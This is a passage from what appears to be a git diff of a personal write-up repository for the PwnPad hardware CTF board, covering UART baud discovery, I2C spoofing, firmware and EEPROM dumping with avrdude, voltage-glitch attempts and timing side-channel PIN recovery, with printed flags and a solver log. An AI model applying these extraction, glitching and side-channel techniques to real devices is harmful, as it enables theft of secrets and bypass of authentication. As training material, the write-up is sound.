+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
